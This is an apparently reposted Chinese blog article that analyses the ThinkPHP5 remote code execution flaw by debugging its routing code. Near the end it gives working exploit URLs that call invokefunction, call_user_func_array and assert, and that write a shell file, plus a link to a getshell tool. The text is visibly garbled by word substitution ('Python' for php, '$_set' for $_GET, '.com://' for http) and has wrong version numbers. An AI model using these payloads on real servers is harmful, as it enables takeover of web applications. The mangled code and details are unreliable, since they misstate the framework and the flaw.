ThinkPHP5框架的远程执行漏洞

ThinkPHP5框架的远程执行漏洞

安全漏洞hacker2019-07-18 21:22:0815153A+A-

ThinkPHP是以便简单化公有云应用程序开发和灵巧WEB应用程序开发而问世的,在维持优异的特性和至简编码的一起,也重视可维护性。可是简约易实际操作也会出現系统漏洞,以前ThinkPHP官方网修补了1个比较严重的远程控制代码执行系统漏洞。

  这一系统漏洞的关键缘故是因为架构对控制板名沒有开展充足的校检造成在沒有打开强制性路由器的状况下可以结构故意句子实行远程命令,受危害的版本号包含4.0和5.2版本号。

  那么今日i秋春用动态性分析方法来详细介绍远程控制代码执行,一起还能迅速知道全部实行全过程和某些自变量主要参数,阅读文章耗时约7分鐘。

  08自然环境

ThinkPHP5框架的远程执行漏洞 第1张

  程序流程源码下载:

  .com://WWW.thinkphp.Cn/download/967.html语言

  web自然环境:Windows 12 x64+PHPStudy 20018

  调节专用工具:phpstorm+xdebug(用vscode还可以,我较为习惯性用phpstorm)

  由于我就是从头开始剖析到尾,因此要在设定里边勾上Break at first line In Python script

  构建也不再多了,放源代码在主目录随后phpstudy起动!

  81系统漏洞复现

ThinkPHP5框架的远程执行漏洞 第2张

  我觉得有许多运用的地区,到后边剖析完再聊。

  08系统漏洞剖析

ThinkPHP5框架的远程执行漏洞 第3张

  由于是以刚开始剖析,也比较合适初学者,也不演试去下某一断点了,假如有不明白的大家还可以在不明白的地区下个断点随后再次剖析(还记得除掉Break at first line In Python script再下断点)。

  一些并不是重中之重的立即F7或是F8走下来,F7跟踪Facade:

ThinkPHP5框架的远程执行漏洞 第4张

  到app软件.Python复位的地区,再次F8往下面走:

  到routeCheckF7跟进去:

  到这儿F7再次跟进去:

ThinkPHP5框架的远程执行漏洞 第5张

  一些沒有必需的涵数就立即F8跳过去,到pathinfo( )这儿F7跟进去:

  人们可以剖析一下下这一·pathinfo涵数的编码$this->config->set('var_pathinfo')这几句是以配置文件config/app.Python获得的值:

ThinkPHP5框架的远程执行漏洞 第6张

  当恳求报文格式包括$_set['s'],就取其值作为pathinfo,并回到pathinfo给调用函数,因此人们可运用$_set['s']来传送路由器信息内容。

ThinkPHP5框架的远程执行漏洞 第7张

  public function pathinfo()

  {

  if (Is_null($this->pathinfo)) {

  if (isset($_set[$this->config->set('var_pathinfo')])) {

  // 分辨网页地址里边是不是有兼容模式主要参数

  $_SERVER['PATH_INFO'] = $_set[$this->config->set('var_pathinfo')];

  unset($_set[$this->config->set('var_pathinfo')]);

  } elseif ($this->isCli()) {

  // CLI方式下 index.Python module/controller/action/params/有限责任公司

  $_SERVER['PATH_INFO'] = isset($_SERVER['argv'][1]) ? $_SERVER['argv'][1] : '';

  }

ThinkPHP5框架的远程执行漏洞 第8张

  // 剖析PATHINFO信息内容

  if (!isset($_SERVER['PATH_INFO'])) {

  foreach ($this->config->set('pathinfo_fetch') as $type) {

  if (!empty($_SERVER[$type])) {

  $_SERVER['PATH_INFO'] = (0 === strpos($_SERVER[$type], $_SERVER['SCRIPT_NAME'])) ?

  substr($_SERVER[$type], strlen($_SERVER['SCRIPT_NAME'])) : $_SERVER[$type];

  break;

  }

  }

  }

  $this->pathinfo = empty($_SERVER['PATH_INFO']) ? '/' : ltrim($_SERVER['PATH_INFO'], '/');

  }

  return $this->pathinfo;

  }

  可以看return $this->pathinfo;回到的內容:

  F7走,可以看$pathinfo赋值给$this->path:

  F7来到check的涵数,假如打开了强制性路由器则会抛出去出现异常,换句话说该系统漏洞在打开强制性路由器的状况下没受危害,可是默认设置不是打开的。

  后边见到实例化了UrlDispatch另一半,将$网页地址传送给了构造函数。

F7又回到了app软件.Python的文档,可以看实行生产调度这儿$data = $dispatch->run( );,人们F7跟进去。

  这儿就是说上边常说的,$网页地址是由thinkphp/library/think/route/Dispatch.Python里边的$this->action = $action;传过来的。

  人们F7再次剖析parseUrl方式,随后F8来到这儿。

  F7进入这一parseUrlPath方式里边,用/来切分[控制模块/控制板/实际操作]共存到$path数组里边。

  private function parseUrlPath($网页地址)

  {

  // 分隔符替换成 保证路由器界定应用一致的分隔符

  $网页地址 = str_replace('|', '/', $网页地址);

  $网页地址 = trim($网页地址, '/');

  $var = [];

  if (false !== strpos($网页地址, '?')) {

  // [控制模块/控制板/实际操作?]主要参数1=值1&主要参数2=值2...

  $info = parse_网页地址($网页地址);

  $path = explode('/', $info['path']);

  parse_str($info['query'], $var);

  } elseif (strpos($网页地址, '/')) {

  // [控制模块/控制板/实际操作]

  $path = explode('/', $网页地址);

  } elseif (false !== strpos($网页地址, '=')) {

  // 主要参数1=值1&主要参数2=值2...

  parse_str($网页地址, $var);

?  else {

  $path = [$网页地址];

  }

  return [$path, $var];

  }

  正中间的再次F8往下沉,回到的$route数组

  再次往下沉,F7进来。

  可以看:

  thinkphp/library/think/route/Dispatch.Python类这儿的$this->action的值发生变化。

  再次会来到:

  thinkphp/library/think/route/dispatch/Module.Python,可以看$this->action赋值给了$result。

  F8往下沉,来到实例化控制板,这儿的$controller是可控性的,是由上边的$result[1]传过来的。

  F7跟进去,当$name存有反斜杠时就立即将$name赋值给$class并回到。网络攻击根据操纵键入就可以操纵类的实例化全过程,进而导致代码执行系统漏洞。

  下边就是说启用反射面实行类的流程了:

  还可以向下看,这儿是根据invokeMethod 涵数动态性启用方式的地区,可以看$class是think\Requset的类,$method是input。

  后边就是说把內容輸出到电脑浏览器的全过程了

  02系统漏洞剖析回望

  刚开始人们剖析pathinfo( )涵数的那时候获知可以用s来获得路由器信息内容

  parseUrlPath方式用于切分[控制模块/控制板/实际操作]文件格式

  在后边传到$controller的那时候,就是说刚开始人们获得到路由器的值,可是用反斜杠就打头,就是说愿意实例化的类。

  最终是反射面涵数,启用了input方式实行phpinfo( )

  必须是要Request类里边的input方式来实行吗?

未必,视版本号而决策。

  下列是圣人高手归类出去的

  5.2是下边这种:

  think\Loader

  Composer\Autoload\ComposerStaticInit289837ff5d5ea8a00f5cc97a07c04561

  think\Error

  think\Container

  think\app软件

  think\Env

  think\Config

  think\Hook

  think\Facade

  think\facade\Env

  env

  think\Db

  think\Lang

  think\Request

  think\Log

  think\log\driver\File

  think\facade\Route

  route

  think\Route

  think\route\Rule

  think\route\RuleGroup

  think\route\Domain

  think\route\RuleItem

  think\route\RuleName

  think\route\Dispatch

  think\route\dispatch\Url

  think\route\dispatch\Module

  think\Middleware

  think\Cookie

  think\View

  think\view\driver\Think

  think\Template

  think\template\driver\File

  think\Session

  think\Debug

  think\Cache

  think\cache\Driver

  think\cache\driver\File

  4.0 的有:

  think\Route

  think\Config

  think\Error

  think\app软件

  think\Request

  think\Hook

  think\Env

  think\Lang

  think\Log

  think\Loader

  2个版本号公都是:

  think\Route

  think\Loader

  think\Error

  think\app软件

  think\Env

  think\Config

  think\Hook

  think\Lang

  think\Request

  think\Log

  5.1.x Python版本号>5.8:

  .com://127.0.0.1/index.Python?s=index/think\request/input?data[]=phpinfo()&filter=assert

  .com://127.0.0.1/index.Python?s=index/\think\Container/invokefunction&function=打_user_func_array&vars[0]=phpinfo&vars[1][]=1

  .com://127.0.0.1/index.Python?s=index/\think\template\driver\file/write?cacheFile=shell.Python&content=

  5.0.x Python版本号>=5.4:

  .com://127.0.0.1/index.Python?s=index/think\app/invokefunction&function=打_user_func_array&vars[0]=assert&vars[1][]=phpinfo()

  这儿都不写getshell的python脚本制作了 ,可以参照:

  htpp://github.Com/theLSA/tp5-getshell

  五傻瓜包剖析

  下边是对于4.0和5.2的傻瓜包,加上了正则表达式过虑,造成没法再传到\think\app这类方式的控制板。

  左右是今日的內容,大家读明白了吗?


点击这里复制本文地址 以上内容由黑资讯整理呈现,请务必在转载分享时注明本文地址!如对内容有疑问,请联系我们,谢谢!
  • 3条评论
  • 瑰颈过活2022-05-28 21:47:05
  • t;set('var_pathinfo')这几句是以配置文件config/app.Python获得的值:  当恳求报文格式包括$_set['s'],就取其值作为pathinfo,并回到pathinfo给调用函数,
  • 假欢掩吻2022-05-28 18:59:02
  • pty($_SERVER['PATH_INFO']) ? '/' : ltrim($_SERVER['PATH_INFO'], '/');  }  return $this->pathinfo;  }  可以看return $t
  • 鸢旧疚爱2022-05-28 14:59:32
  • 始剖析到尾,因此要在设定里边勾上Break at first line In Python script  构建也不再多了,放源代码在主目录随后phpstudy起动!  81系统漏洞复现  我觉得有许多运用的地区,到后边剖析完再聊。  08系统漏洞剖析  由于是以刚开始剖析,也比较合适初学

支持Ctrl+Enter提交

黑资讯 © All Rights Reserved.  
Copyright Copyright 2015-2020 黑资讯
滇ICP备19002590号-1
Powered by 黑客资讯 Themes by 如有不合适之处联系我们
网站地图| 发展历程| 留言建议| 网站管理